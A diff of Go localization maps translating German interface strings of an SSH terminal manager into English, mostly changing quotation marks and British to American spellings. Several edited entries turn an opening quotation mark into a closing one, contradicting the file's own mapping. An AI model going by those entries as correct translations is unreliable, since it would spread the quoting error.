"Schreiben & Lesen": "Write & read",
|
||||
"Schreiben fehlgeschlagen": "Write failed",
|
||||
"Schreiben: HTTP %d": "Write: HTTP %d",
|
||||
@@ -698,7 +698,7 @@ var en = map[string]string{
|
||||
"Strg+L: Liste vom Endpunkt · Strg+T: Verbindung testen": "Ctrl+L: list from the endpoint · Ctrl+T: test connection",
|
||||
"Strg+Pfeil": "Ctrl+arrow",
|
||||
"Strg+Pfeil wechselt": "Ctrl+arrow switches",
|
||||
"Strg+R = Vorbelegung „": "Ctrl+R = defaults „",
|
||||
"Strg+R = Vorbelegung „": "Ctrl+R = defaults “",
|
||||
"Strg+S oder ⏎ im letzten Feld startet den Scan": "Ctrl+S or ⏎ in the last field starts the scan",
|
||||
"Subnetz": "Subnet",
|
||||
"Subnetz fehlt, z. B. 192.168.1.0/24": "Subnet missing, e.g. 192.168.1.0/24",
|
||||
@@ -762,7 +762,7 @@ var en = map[string]string{
|
||||
"Testdatei kam anders zurück": "Test file came back different",
|
||||
"Testdatei kam nicht unverändert zurück": "Test file did not come back unchanged",
|
||||
"Timeout (s)": "Timeout (s)",
|
||||
"Tour übersprungen · Palette „Einführungstour“ startet sie wieder": "Tour skipped · palette „Introduction tour“ starts it again",
|
||||
"Tour übersprungen · Palette „Einführungstour“ startet sie wieder": "Tour skipped · palette “Introduction tour” starts it again",
|
||||
"Tunnel": "Tunnel",
|
||||
"Tunnel / Port-Forwarding": "Tunnel / port forwarding",
|
||||
"Tunnel anlegen": "add tunnel",
|
||||
@@ -810,12 +810,12 @@ var en = map[string]string{
|
||||
"Version anzeigen": "show version",
|
||||
"Verzögerung ms": "Delay ms",
|
||||
"Vorbelegung": "defaults",
|
||||
"Vorbelegung „": "defaults „",
|
||||
"Vorbelegung „": "defaults “",
|
||||
"Vorschlag einfügen": "insert suggestion",
|
||||
"Vorschlag übernehmen": "accept suggestion",
|
||||
"Vorschläge während des Tippens": "Suggestions while typing",
|
||||
"Vorsicht: ": "Careful: ",
|
||||
"Warum ist „": "Why did „",
|
||||
"Warum ist „": "Why did “",
|
||||
"Warum? & Fix": "Why? & Fix",
|
||||
"Was ist neu": "What's new",
|
||||
"Was ist neu (Changelog)": "What's new (changelog)",
|
||||
@@ -926,7 +926,7 @@ var en = map[string]string{
|
||||
"drücken": "press",
|
||||
"durch Komma getrennt, z. B. prod, linux · im Manager filtern mit #": "comma-separated, e.g. prod, linux · filter in the manager with #",
|
||||
"e (Manager)": "e (manager)",
|
||||
"eigene Hinweise, z. B. „Core-Switch, VLAN 99 = Management, nie reload“": "your own hints, e.g. „core switch, VLAN 99 = management, never reload“",
|
||||
"eigene Hinweise, z. B. „Core-Switch, VLAN 99 = Management, nie reload“": "your own hints, e.g. “core switch, VLAN 99 = management, never reload”",
|
||||
"eigene Liste": "own list",
|
||||
"eigener Befehl": "own command",
|
||||
"ein Ordner kann nicht in sich selbst liegen": "a folder cannot be inside itself",
|
||||
@@ -936,7 +936,7 @@ var en = map[string]string{
|
||||
"eingerichtet · ": "set up · ",
|
||||
"einzelne Zeichen braucht die Shell (nur im Manager sinnvoll)": "the shell needs single characters (only useful in the manager)",
|
||||
"entfernt Pakete": "removes packages",
|
||||
"erkannt beim Verbinden; eigene Angabe hat Vorrang, z. B. „ArubaOS-CX 10.13“": "detected when connecting; your own entry wins, e.g. „ArubaOS-CX 10.13“",
|
||||
"erkannt beim Verbinden; eigene Angabe hat Vorrang, z. B. „ArubaOS-CX 10.13“": "detected when connecting; your own entry wins, e.g. “ArubaOS-CX 10.13”",
|
||||
"erklären": "explain",
|
||||
"erneut testen": "test again",
|
||||
"exportieren": "export",
|
||||
@@ -956,12 +956,12 @@ var en = map[string]string{
|
||||
"für ": "for ",
|
||||
"für die neuen Verbindungen": "for the new connections",
|
||||
"geht nicht: Ziel liegt im Ordner selbst": "not possible: target is inside the folder itself",
|
||||
"geht selbst über „": "itself goes via „",
|
||||
"geht selbst über „": "itself goes via “",
|
||||
"gehört der Shell bzw. dem Einfügen": "belongs to the shell or to pasting",
|
||||
"gerade eben": "just now",
|
||||
"getrennt": "disconnected",
|
||||
"gewählten Ort. Der Speicherort sieht nie Klartext; DPAPI und Master-Passwort bleiben pro Rechner.": "chosen location. The location never sees plain text; DPAPI and master password stay per computer.",
|
||||
"grauen Vorschlag übernehmen": "accept grey suggestion",
|
||||
"grauen Vorschlag übernehmen": "accept gray suggestion",
|
||||
"groß": "enlarge",
|
||||
"groß / kopieren": "enlarge / copy",
|
||||
"gültig": "valid",
|
||||
@@ -977,7 +977,7 @@ var en = map[string]string{
|
||||
"im Verlauf zeigen": "show in history",
|
||||
"in Ordner verschieben": "move to folder",
|
||||
"in der Palette: KI fragen": "in the palette: ask AI",
|
||||
"in „": "in „",
|
||||
"in „": "in “",
|
||||
"installiert": "installed",
|
||||
"ist aktuell.": "is up to date.",
|
||||
"j = jetzt neu starten · n = später (F12 oder Palette)": "y = restart now · n = later (F12 or palette)",
|
||||
@@ -985,7 +985,7 @@ var en = map[string]string{
|
||||
"ja": "yes",
|
||||
"jetzt prüfen": "check now",
|
||||
"kein Benutzer angegeben": "no user given",
|
||||
"kein Benutzer angegeben, lokaler Name „": "no user given, local name „",
|
||||
"kein Benutzer angegeben, lokaler Name „": "no user given, local name “",
|
||||
"kein Hostname in der Adresse": "no host name in the address",
|
||||
"kein Modell gewählt": "no model selected",
|
||||
"kein Ordner angegeben": "no folder given",
|
||||
@@ -1015,33 +1015,38 @@ var en = map[string]string{
|
||||
"local = -L · remote = -R · dynamic = -D (SOCKS5)": "local = -L · remote = -R · dynamic = -D (SOCKS5)",
|
||||
"local/dynamic: lokaler Port (0 = frei wählen) · remote: Port am Server": "local/dynamic: local port (0 = pick a free one) · remote: port on the server",
|
||||
"local: vom Server aus gesehen · remote: von hier aus gesehen": "local: as seen from the server · remote: as seen from here",
|
||||
"lokal": "local",
|
||||
"los geht's": "let's go",
|
||||
"läuft": "running",
|
||||
"läuft …": "running …",
|
||||
"löschen": "delete",
|
||||
"löscht Dateien": "deletes files",
|
||||
"löscht Docker-Daten": "deletes Docker data",
|
||||
"löscht Ordner mit allem darin": "deletes folders with everything in them",
|
||||
"löscht Sicherungen": "deletes backups",
|
||||
"löscht alle Cron-Jobs": "deletes all cron jobs",
|
||||
"markieren + kopieren": "select + copy",
|
||||
"markieren in htop/vim": "select in htop/vim",
|
||||
"markiert und kopiert": "selects and copies",
|
||||
"mit der Verbindung starten": "start with the connection",
|
||||
"nach": "after",
|
||||
"nach Tag filtern": "filter by tag",
|
||||
"nach Updates suchen": "check for updates",
|
||||
"nach oben schieben (↓ runter)": "move up (↓ down)",
|
||||
"nein": "no",
|
||||
"neu": "new",
|
||||
"neu belegen": "rebind",
|
||||
"neu hier": "new here",
|
||||
"neu laden": "reload",
|
||||
"neu scannen": "scan again",
|
||||
"neu starten": "restart",
|
||||
"neu verbinden": "reconnect",
|
||||
"neu vorschlagen": "suggest again",
|
||||
"lokal": "local",
|
||||
"los geht's": "let's go",
|
||||
"läuft": "running",
|
||||
"läuft …": "running …",
|
||||
"löschen": "delete",
|
||||
"löscht Dateien": "deletes files",
|
||||
"„": "“", // öffnendes Anführungszeichen (Code setzt „…“ zusammen)
|
||||
"“": "”", // schließendes
|
||||
"führt unbekannten Text als Skript aus": "runs unknown text as a script",
|
||||
"ungültiger Dateiname vom Server: %q": "invalid file name from server: %q",
|
||||
"KI-Endpunkt leitet nach %s weiter, abgelehnt": "AI endpoint redirects to %s, refused",
|
||||
"löscht Docker-Daten": "deletes Docker data",
|
||||
"löscht Ordner mit allem darin": "deletes folders with everything in them",
|
||||
"löscht Sicherungen": "deletes backups",
|
||||
"löscht alle Cron-Jobs": "deletes all cron jobs",
|
||||
"markieren + kopieren": "select + copy",
|
||||
"markieren in htop/vim": "select in htop/vim",
|
||||
"markiert und kopiert": "selects and copies",
|
||||
"mit der Verbindung starten": "start with the connection",
|
||||
"nach": "after",
|
||||
"nach Tag filtern": "filter by tag",
|
||||
"nach Updates suchen": "check for updates",
|
||||
"nach oben schieben (↓ runter)": "move up (↓ down)",
|
||||
"nein": "no",
|
||||
"neu": "new",
|
||||
"neu belegen": "rebind",
|
||||
"neu hier": "new here",
|
||||
"neu laden": "reload",
|
||||
"neu scannen": "scan again",
|
||||
"neu starten": "restart",
|
||||
"neu verbinden": "reconnect",
|
||||
"neu vorschlagen": "suggest again",
|
||||
"neu, mind. 8 Zeichen · verschlüsselt alles Ende-zu-Ende · gleich auf allen Rechnern": "new, at least 8 characters · encrypts everything end-to-end · the same on all computers",
|
||||
"neue Frage": "new question",
|
||||
"neue Taste": "new key",
|
||||
@@ -1075,7 +1080,7 @@ var en = map[string]string{
|
||||
"oberste Ebene": "top level",
|
||||
"offene SSH-Sitzung wird": "open SSH session will be",
|
||||
"offene SSH-Sitzungen werden": "open SSH sessions will be",
|
||||
"ohne Startanimation starten (dauerhaft: Palette „Startanimation aus“)": "start without the start animation (permanently: palette „Start animation off“)",
|
||||
"ohne Startanimation starten (dauerhaft: Palette „Startanimation aus“)": "start without the start animation (permanently: palette “Start animation off”)",
|
||||
"ohne letztes ⏎": "without the last ⏎",
|
||||
"optional; leer = beim Verbinden fragen": "optional; empty = ask when connecting",
|
||||
"prüfen, dann ⏎": "check, then ⏎",
|
||||
@@ -1199,7 +1204,7 @@ var en = map[string]string{
|
||||
"z. B. http://dgx-spark:8000/v1 · Ollama: http://localhost:11434/v1": "e.g. http://dgx-spark:8000/v1 · Ollama: http://localhost:11434/v1",
|
||||
"z. B. ~/.ssh/id_ed25519": "e.g. ~/.ssh/id_ed25519",
|
||||
"z. B. ~/.ssh/id_ed25519 (leer lassen bei eingebettetem Key)": "e.g. ~/.ssh/id_ed25519 (leave empty for an embedded key)",
|
||||
"z. B. „Grafana“": "e.g. „Grafana“",
|
||||
"z. B. „Grafana“": "e.g. “Grafana”",
|
||||
"zu viele Adressen (höchstens %d, z. B. ein /20)": "too many addresses (at most %d, e.g. a /20)",
|
||||
"zu viele Weiterleitungen": "too many redirects",
|
||||
"zuklappen": "collapse",
|
||||
@@ -1236,7 +1241,7 @@ var en = map[string]string{
|
||||
"über ": "via ",
|
||||
"übergeordneter Ordner fehlt (HTTP 409)": "parent folder missing (HTTP 409)",
|
||||
"übernehmen": "accept",
|
||||
"übernimmt den grauen Vorschlag": "accepts the grey suggestion",
|
||||
"übernimmt den grauen Vorschlag": "accepts the gray suggestion",
|
||||
"überschreibt Systemdateien": "overwrites system files",
|
||||
"überschreibt einen Datenträger": "overwrites a disk",
|
||||
"überspringen": "skip",
|
||||
@@ -1246,40 +1251,40 @@ var en = map[string]string{
|
||||
"— direkt (ohne Jump-Host)": "— direct (no jump host)",
|
||||
"— frei —": "— unused —",
|
||||
"— oberste Ebene": "— top level",
|
||||
"“ (Kreis)": "“ (loop)",
|
||||
"“ abgelehnt – gemerkt, die KI schlägt das hier nicht mehr vor": "“ rejected – remembered, the AI won't suggest it here again",
|
||||
"“ angelegt": "“ created",
|
||||
"“ auflösen?": "“: dissolve?",
|
||||
"“ eingesetzt": "“ used",
|
||||
"“ fehlgeschlagen? Fix vorschlagen": "“ fail? Suggest a fix",
|
||||
"“ fehlgeschlagen? Und wie behebe ich es?": "“ fail? And how do I fix it?",
|
||||
"“ für ": "“ for ",
|
||||
"“ gewählt · Strg+T testen · Strg+S speichern": "“ selected · Ctrl+T test · Ctrl+S save",
|
||||
"“ gibt es in ": "“ already exists in ",
|
||||
"“ gibt es schon": "“ already exists",
|
||||
"“ liegt jetzt in ": "“ is now in ",
|
||||
"“ löschen?": "“: delete?",
|
||||
"“ passt schon für ": "“ already fits ",
|
||||
"“ starten · ": "“ start · ",
|
||||
"“ steht nicht in der Liste des Endpunkts · Strg+L wählen": "“ is not in the endpoint's list · Ctrl+L to choose",
|
||||
"“ stoppen": "“ stop",
|
||||
"“ und ihre Tunnel wirklich löschen?": "“ and its tunnels: really delete?",
|
||||
"“ verschieben nach …": "“ → move to …",
|
||||
"“ vom ": "“ from ",
|
||||
"“ wiederherstellen · Strg+S speichern": "“ · Ctrl+S save",
|
||||
"“ übernommen": "“ imported",
|
||||
"„% Invalid input“": "„% Invalid input“",
|
||||
"„%s“ ist kein Subnetz": "„%s“ is not a subnet",
|
||||
"„%s“ ist keine IP-Adresse": "„%s“ is not an IP address",
|
||||
"„%s“ ist zu groß (höchstens %d Adressen)": "„%s“ is too large (at most %d addresses)",
|
||||
"„%s“: Anfang ist keine Adresse": "„%s“: start is not an address",
|
||||
"„%s“: Ende ist keine Adresse": "„%s“: end is not an address",
|
||||
"„%s“: Ende liegt vor dem Anfang": "„%s“: end is before the start",
|
||||
"„%s“: Ende muss 0–255 sein": "„%s“: end must be 0–255",
|
||||
"„%s“: Prompt kam nicht zurück": "„%s“: prompt did not come back",
|
||||
"„%s“: keine Antwort": "„%s“: no answer",
|
||||
"„Maus aus“": "„Mouse off“",
|
||||
"„Startanimation aus“": "„Start animation off“",
|
||||
"“ (Kreis)": "” (loop)",
|
||||
"“ abgelehnt – gemerkt, die KI schlägt das hier nicht mehr vor": "” rejected – remembered, the AI won't suggest it here again",
|
||||
"“ angelegt": "” created",
|
||||
"“ auflösen?": "”: dissolve?",
|
||||
"“ eingesetzt": "” used",
|
||||
"“ fehlgeschlagen? Fix vorschlagen": "” fail? Suggest a fix",
|
||||
"“ fehlgeschlagen? Und wie behebe ich es?": "” fail? And how do I fix it?",
|
||||
"“ für ": "” for ",
|
||||
"“ gewählt · Strg+T testen · Strg+S speichern": "” selected · Ctrl+T test · Ctrl+S save",
|
||||
"“ gibt es in ": "” already exists in ",
|
||||
"“ gibt es schon": "” already exists",
|
||||
"“ liegt jetzt in ": "” is now in ",
|
||||
"“ löschen?": "”: delete?",
|
||||
"“ passt schon für ": "” already fits ",
|
||||
"“ starten · ": "” start · ",
|
||||
"“ steht nicht in der Liste des Endpunkts · Strg+L wählen": "” is not in the endpoint's list · Ctrl+L to choose",
|
||||
"“ stoppen": "” stop",
|
||||
"“ und ihre Tunnel wirklich löschen?": "” and its tunnels: really delete?",
|
||||
"“ verschieben nach …": "” → move to …",
|
||||
"“ vom ": "” from ",
|
||||
"“ wiederherstellen · Strg+S speichern": "” · Ctrl+S save",
|
||||
"“ übernommen": "” imported",
|
||||
"„% Invalid input“": "“% Invalid input”",
|
||||
"„%s“ ist kein Subnetz": "“%s” is not a subnet",
|
||||
"„%s“ ist keine IP-Adresse": "“%s” is not an IP address",
|
||||
"„%s“ ist zu groß (höchstens %d Adressen)": "“%s” is too large (at most %d addresses)",
|
||||
"„%s“: Anfang ist keine Adresse": "“%s”: start is not an address",
|
||||
"„%s“: Ende ist keine Adresse": "“%s”: end is not an address",
|
||||
"„%s“: Ende liegt vor dem Anfang": "“%s”: end is before the start",
|
||||
"„%s“: Ende muss 0–255 sein": "“%s”: end must be 0–255",
|
||||
"„%s“: Prompt kam nicht zurück": "“%s”: prompt did not come back",
|
||||
"„%s“: keine Antwort": "“%s”: no answer",
|
||||
"„Maus aus“": "“Mouse off”",
|
||||
"„Startanimation aus“": "“Start animation off”",
|
||||
"… %d weitere Zeilen": "… %d more lines",
|
||||
"… (%d Zeilen ausgelassen) …": "… (%d lines omitted) …",
|
||||
"… (Anfang gekürzt) …\n": "… (beginning shortened) …\n",
|
||||
@@ -1289,7 +1294,7 @@ var en = map[string]string{
|
||||
"↑↓ blättern": "↑↓ scroll",
|
||||
"↑↓ blättern · ": "↑↓ scroll · ",
|
||||
"↑↓ wählen · ⏎ ausführen · Tab KI fragen · Esc schließen · %d Einträge": "↑↓ select · ⏎ run · Tab ask AI · Esc close · %d entries",
|
||||
"↓ „umschreiben“": "↓ „rewrite“",
|
||||
"↓ „umschreiben“": "↓ “rewrite”",
|
||||
"► Schnellbefehle": "► Quick commands",
|
||||
"↔ Tunnel & Web-Services": "↔ Tunnels & web services",
|
||||
"↕ Sync zwischen Rechnern": "↕ Sync between computers",
|
||||
@@ -1342,7 +1347,7 @@ var en = map[string]string{
|
||||
"▲ läuft mit erhöhten Rechten (sudo)": "▲ runs with elevated rights (sudo)",
|
||||
"▲ root": "▲ root",
|
||||
"✓ /models: %d Modelle": "✓ /models: %d models",
|
||||
"✓ Chat mit %s: %d ms, Antwort „%s“": "✓ Chat with %s: %d ms, answer „%s“",
|
||||
"✓ Chat mit %s: %d ms, Antwort „%s“": "✓ Chat with %s: %d ms, answer “%s”",
|
||||
"✓ Ziel erreicht": "✓ Goal reached",
|
||||
"✓ aktuell · ● verbunden": "✓ current · ● connected",
|
||||
"✓ bereit": "✓ ready",
|
||||
@@ -1378,7 +1383,7 @@ var en = map[string]string{
|
||||
"Key verschlüsselt im Store speichern und mitsynchronisieren: dann braucht kein Rechner mehr die Datei": "Store the key encrypted and sync it: then no computer needs the file any more",
|
||||
"Pfad zur Schlüsseldatei fehlt": "Path to the key file is missing",
|
||||
"Schlüsseldatei für diesen Rechner gemerkt": "Key file remembered for this computer",
|
||||
"Schlüsseldatei für „": "Key file for “",
|
||||
"Schlüsseldatei für „": "Key file for ”",
|
||||
"gespeichert: ": "saved: ",
|
||||
"“ auf diesem Rechner": "” on this computer",
|
||||
"eigener Pfad": "other path",
|
||||
|
||||
@@ -38,7 +38,7 @@ var enFeatures12 = map[string]string{
|
||||
"Pfad auf dem Server, z. B. /etc/nginx/nginx.conf oder ~/.bashrc. Speichern im Editor lädt die Datei zurück.": "Path on the server, e.g. /etc/nginx/nginx.conf or ~/.bashrc. Saving in the editor uploads the file again.",
|
||||
"Regel %d": "Rule %d",
|
||||
"Regel %d: %v": "Rule %d: %v",
|
||||
"Regel: „farbe muster“, Farben: rot, gelb, grün, blau, lila, grau": "Rule: “color pattern”, colors: red, yellow, green, blue, purple, grey",
|
||||
"Regel: „farbe muster“, Farben: rot, gelb, grün, blau, lila, grau": "Rule: “color pattern”, colors: red, yellow, green, blue, purple, gray",
|
||||
"Server-Datei im eigenen Editor öffnen": "Open server file in your own editor",
|
||||
"Server-Datei im eigenen Editor öffnen …": "Open server file in your own editor …",
|
||||
"Tab geschlossen: Änderungen an ": "Tab closed: changes to ",
|
||||
@@ -58,7 +58,7 @@ var enFeatures12 = map[string]string{
|
||||
"Änderungsbericht kopiert": "Change report copied",
|
||||
"Änderungsbericht: ": "Change report: ",
|
||||
"Öffnen im Editor: ": "Open in editor: ",
|
||||
"„farbe muster“ · Farben: rot gelb grün blau lila grau · ! davor = melden, wenn es in einem verdeckten Tab auftaucht": "“color pattern” · colors: red yellow green blue purple grey · ! in front = notify when it shows up in a hidden tab",
|
||||
"„farbe muster“ · Farben: rot gelb grün blau lila grau · ! davor = melden, wenn es in einem verdeckten Tab auftaucht": "“color pattern” · colors: red yellow green blue purple gray · ! in front = notify when it shows up in a hidden tab",
|
||||
"◆ Änderungsbericht": "◆ Change report",
|
||||
|
||||
// Hilfe
|
||||
@@ -104,7 +104,7 @@ var enFeatures12 = map[string]string{
|
||||
"Zeitplan gelöscht: ": "Schedule deleted: ",
|
||||
"Zeitplan ist gelaufen": "A schedule ran",
|
||||
"Zeitplan startet: ": "Schedule starting: ",
|
||||
"Zeitplan „": "Schedule “",
|
||||
"Zeitplan „": "Schedule ”",
|
||||
"Zeitplan „%s“ fertig: %d ok, %d Fehler": "Schedule “%s” done: %d ok, %d failed",
|
||||
"Zeitplan: ": "Schedule: ",
|
||||
"Zeitpläne": "Schedules",
|
||||
|
||||
@@ -43,7 +43,7 @@ var enFilesImport = map[string]string{
|
||||
"als CSV exportieren": "export as CSV",
|
||||
"erst gültig ab %s": "not valid before %s",
|
||||
"optional, von einer CA signiert · leer = <Keyfile>-cert.pub, falls vorhanden": "optional, signed by a CA · empty = <keyfile>-cert.pub if present",
|
||||
"Übertragung abgebrochen": "Transfer cancelled",
|
||||
"Übertragung fehlgeschlagen: ": "Transfer failed: ",
|
||||
"◈ alle": "◈ all",
|
||||
"Übertragung abgebrochen": "Transfer cancelled",
|
||||
"Übertragung fehlgeschlagen: ": "Transfer failed: ",
|
||||
"◈ alle": "◈ all",
|
||||
}
|
||||
@@ -14,13 +14,13 @@ var enLayout = map[string]string{
|
||||
" ↔ hier ablegen: tauscht mit ": " ↔ drop here: swaps with ",
|
||||
"%d Verbindungen gibt es nicht mehr, ihre Bereiche bleiben leer": "%d connections no longer exist, their panes stay empty",
|
||||
"%d weitere Verbindungen als Tabs geöffnet (F7/F8)": "%d more connections opened as tabs (F7/F8)",
|
||||
"+ Aktuelle Ansicht speichern als „": "+ Save current view as “",
|
||||
"+ Aktuelle Ansicht speichern als „": "+ Save current view as ”",
|
||||
"Alle Bereiche gleich groß": "All panes the same size",
|
||||
"Alle Bereiche in voller Farbe": "All panes in full colour",
|
||||
"Alle Bereiche in voller Farbe": "All panes in full color",
|
||||
"Andere Bereiche abdunkeln: ": "Dim other panes: ",
|
||||
"Ansicht als Arbeitsplatz speichern": "Save view as workspace",
|
||||
"Arbeitsplatz umbenennen": "Rename workspace",
|
||||
"Arbeitsplatz „": "Workspace “",
|
||||
"Arbeitsplatz „": "Workspace ”",
|
||||
"Arbeitsplätze": "Workspaces",
|
||||
"Arbeitsplätze …": "Workspaces …",
|
||||
"Aufteilung": "Layout",
|
||||
@@ -51,7 +51,7 @@ var enLayout = map[string]string{
|
||||
"sechs Bereiche": "six panes",
|
||||
"“ gelöscht": "” deleted",
|
||||
"“ gespeichert": "” saved",
|
||||
"“, nehme „": "”, using “",
|
||||
"“, nehme „": "”, using ”",
|
||||
"■ Zoom · %d weitere verdeckt · %s zurück": "■ Zoom · %d more hidden · %s back",
|
||||
"Zuletzt": "Last used",
|
||||
|
||||
|
||||
+14
-14
@@ -13,25 +13,25 @@ var enLook = map[string]string{
|
||||
"Matrix (grün)": "Matrix (green)",
|
||||
"Bernstein (Retro)": "Amber (retro)",
|
||||
"Neon (Cyber)": "Neon (cyber)",
|
||||
"Eigene Farben": "Custom colours",
|
||||
"Eigene Farben": "Custom colors",
|
||||
|
||||
"Farben anpassen (eigene Farben)": "Customise colours",
|
||||
"Farben anpassen (eigene Farben)": "Customize colors",
|
||||
"Editor": "editor",
|
||||
"Symbole: ": "Icons: ",
|
||||
"Text-Tags": "text tags",
|
||||
"Unicode-Formen": "Unicode shapes",
|
||||
"Minimal": "minimal",
|
||||
"Nerd Font": "Nerd Font",
|
||||
"braucht Nerd Font": "needs a Nerd Font",
|
||||
"Nerd-Font-Symbole an": "Nerd Font icons on",
|
||||
"Nerd-Font-Symbole einschalten?": "Turn on Nerd Font icons?",
|
||||
"Probe:": "Test:",
|
||||
"Symbole: ": "Icons: ",
|
||||
"Text-Tags": "text tags",
|
||||
"Unicode-Formen": "Unicode shapes",
|
||||
"Minimal": "minimal",
|
||||
"Nerd Font": "Nerd Font",
|
||||
"braucht Nerd Font": "needs a Nerd Font",
|
||||
"Nerd-Font-Symbole an": "Nerd Font icons on",
|
||||
"Nerd-Font-Symbole einschalten?": "Turn on Nerd Font icons?",
|
||||
"Probe:": "Test:",
|
||||
"Siehst du Zahnrad, Schlüssel, Lupe, Pinguin, Apfel, Windows, Server?\nDann j. Kästchen oder „?“: deinem Terminal fehlt eine Nerd Font,\ndann n (die Text-Tags [+] [k] [/] laufen mit jeder Schrift).": "Do you see a gear, key, magnifier, penguin, apple, Windows, server?\nThen y. Boxes or \"?\": your terminal has no Nerd Font,\nthen n (the text tags [+] [k] [/] work with any font).",
|
||||
"Mac: brew install --cask font-caskaydia-mono-nerd-font\ndann Terminal › Einstellungen › Profile › Text › Schrift:\n„CaskaydiaMono Nerd Font“ (iTerm2: Settings › Profiles › Text › Font).": "Mac: brew install --cask font-caskaydia-mono-nerd-font\nthen Terminal › Settings › Profiles › Text › Font:\n\"CaskaydiaMono Nerd Font\" (iTerm2: Settings › Profiles › Text › Font).",
|
||||
"Windows: „Cascadia Mono NF“ installieren, zu finden unter\ngithub.com/microsoft/cascadia-code/releases, dann Windows Terminal ›\nEinstellungen › Profil › Darstellung › Schriftart.": "Windows: install \"Cascadia Mono NF\" from\ngithub.com/microsoft/cascadia-code/releases, then Windows Terminal ›\nSettings › Profile › Appearance › Font face.",
|
||||
"Linux: eine Nerd Font von nerdfonts.com installieren (z. B.\nCaskaydiaMono) und im Terminalprofil als Schrift wählen.": "Linux: install a Nerd Font from nerdfonts.com (e.g. CaskaydiaMono)\nand pick it as the font in your terminal profile.",
|
||||
|
||||
"Farben anpassen": "Customise colours",
|
||||
"Farben anpassen": "Customize colors",
|
||||
" Vorschau sofort, Strg+S speichert · geht mit dem Sync mit": " live preview, Ctrl+S saves · synced to your other computers",
|
||||
"Vorlage": "Template",
|
||||
"Hintergrund": "Background",
|
||||
@@ -46,9 +46,9 @@ var enLook = map[string]string{
|
||||
"Platte fast voll": "disk almost full",
|
||||
"blockiert": "blocked",
|
||||
"Schlecht lesbar: ": "Hard to read: ",
|
||||
"Kontrast-Check: alle Farben gut lesbar": "Contrast check: all colours readable",
|
||||
"Kontrast-Check: alle Farben gut lesbar": "Contrast check: all colors readable",
|
||||
"Bitte sechs Hex-Ziffern, z. B. #39ff14": "Please enter six hex digits, e.g. #39ff14",
|
||||
"Eigene Farben gespeichert": "Custom colours saved",
|
||||
"Eigene Farben gespeichert": "Custom colors saved",
|
||||
"Farbton": "hue",
|
||||
"heller/dunkler": "lighter/darker",
|
||||
"Hex eingeben": "enter hex",
|
||||
|
||||
@@ -27,7 +27,7 @@ var enOps = map[string]string{
|
||||
"Aufnahme nicht gespeichert: ": "Recording not saved: ",
|
||||
"Aufnahme starten (abspielbar mit asciinema)": "Start recording (playable with asciinema)",
|
||||
"Aufnahme stoppen und speichern (.cast)": "Stop and save recording (.cast)",
|
||||
"Bearbeite „": "Editing “",
|
||||
"Bearbeite „": "Editing ”",
|
||||
"Exportieren nach ": "Export to ",
|
||||
"Gefahr": "danger",
|
||||
"Gefahren-Check auf allen Hosts (riskante Befehle nachfragen)": "Danger check on all hosts (ask before risky commands)",
|
||||
@@ -58,7 +58,7 @@ var enOps = map[string]string{
|
||||
"als Runbook": "as runbook",
|
||||
"an: angepasste Befehle laufen": "on: adapted commands run",
|
||||
"aus: es laufen die Original-Schritte": "off: the original steps run",
|
||||
"bearbeitet „": "editing “",
|
||||
"bearbeitet „": "editing ”",
|
||||
"gibt es dort nicht, fällt weg": "doesn't exist there, dropped",
|
||||
"k = KI prüft, ob die Schritte zum Systemprofil jedes Hosts passen": "k = AI checks whether the steps fit each host's system profile",
|
||||
"nicht geprüft (k)": "not checked (k)",
|
||||
|
||||
@@ -21,7 +21,7 @@ var enPalette = map[string]string{
|
||||
"Hilfe & Info": "Help & info",
|
||||
"Maus, Aussehen, Sprache, KI …": "mouse, look, language, AI …",
|
||||
"Tasten, Tour, Neues, Update": "keys, tour, news, update",
|
||||
"VERHALTEN": "BEHAVIOUR",
|
||||
"VERHALTEN": "BEHAVIOR",
|
||||
"AUSSEHEN & SPRACHE": "LOOK & LANGUAGE",
|
||||
"EINRICHTEN": "SET UP",
|
||||
"HILFE & INFO": "HELP & INFO",
|
||||
|
||||
@@ -36,7 +36,7 @@ var enRelay = map[string]string{
|
||||
"Erledigt.": "Done.",
|
||||
"Frage die Vermittler nach ihren Systemen …": "Asking the relays for their systems …",
|
||||
"Gekoppelt als „%s“ (%s). Gespeichert in %s\n": "Paired as “%s” (%s). Saved in %s\n",
|
||||
"Gekoppelt mit Vermittler „": "Paired with relay “",
|
||||
"Gekoppelt mit Vermittler „": "Paired with relay ”",
|
||||
"Host-Key nicht lesbar: %w": "Cannot read the host key: %w",
|
||||
"ID\tART\tNAME\tSYSTEM\tSEIT": "ID\tKIND\tNAME\tSYSTEM\tSINCE",
|
||||
"In sshTermy: Strg+Leertaste → „Vermittler koppeln“, diese Zeile einfügen (gilt 10 Minuten, einmal):": "In sshTermy: Ctrl+Space → “Pair / manage relays”, paste this line (valid for 10 minutes, once):",
|
||||
@@ -82,7 +82,7 @@ var enRelay = map[string]string{
|
||||
"Vermittler nur über https": "Relays only over https",
|
||||
"Vermittler testen": "Test relay",
|
||||
"Vermittler zeigt kein Zertifikat": "The relay shows no certificate",
|
||||
"Vermittler „": "Relay “",
|
||||
"Vermittler „": "Relay ”",
|
||||
"Vermittler „%s“ auf %s, Adresse %s\n": "Relay “%s” on %s, address %s\n",
|
||||
"Vermittler „%s“ ist gesperrt: Palette → „Vermittler verwalten“ → Entsperren": "Relay “%s” is locked: palette → “Pair / manage relays” → Unlock",
|
||||
"Vermittler „%s“: %w": "Relay “%s”: %w",
|
||||
@@ -96,7 +96,7 @@ var enRelay = map[string]string{
|
||||
"eigenes sshd (nur dorthin öffnet der Anker Kanäle)": "own sshd (the anchor opens channels only there)",
|
||||
"gekoppelt als „%s“ (%s) mit %s, Ziel %s\n": "paired as “%s” (%s) with %s, target %s\n",
|
||||
"gepinnt, SHA256 ": "pinned, SHA256 ",
|
||||
"gespeichert als „": "saved as “",
|
||||
"gespeichert als „": "saved as ”",
|
||||
"https://…#termy=CODE&fp=… · eigener: „sshtermy vermittler code“ · Spark: Fernzugang → sshTermy koppeln": "https://…#termy=CODE&fp=… · own relay: “sshtermy relay code” · Spark: Fernzugang → pair sshTermy",
|
||||
"nicht gekoppelt": "not paired",
|
||||
"nicht gekoppelt (%w): erst „sshtermy anker koppeln …“": "not paired (%w): first run “sshtermy anker koppeln …”",
|
||||
|
||||
@@ -38,7 +38,7 @@ var enSSHKey = map[string]string{
|
||||
"SSH-Schlüssel erzeugen / auf den Server übertragen": "Generate SSH key / copy it to the server",
|
||||
"SSH-Schlüssel erzeugen / übertragen": "Generate / copy SSH key",
|
||||
"SSH-Schlüssel für ": "SSH key for ",
|
||||
"SSH-Schlüssel für „": "SSH key for “",
|
||||
"SSH-Schlüssel für „": "SSH key for ”",
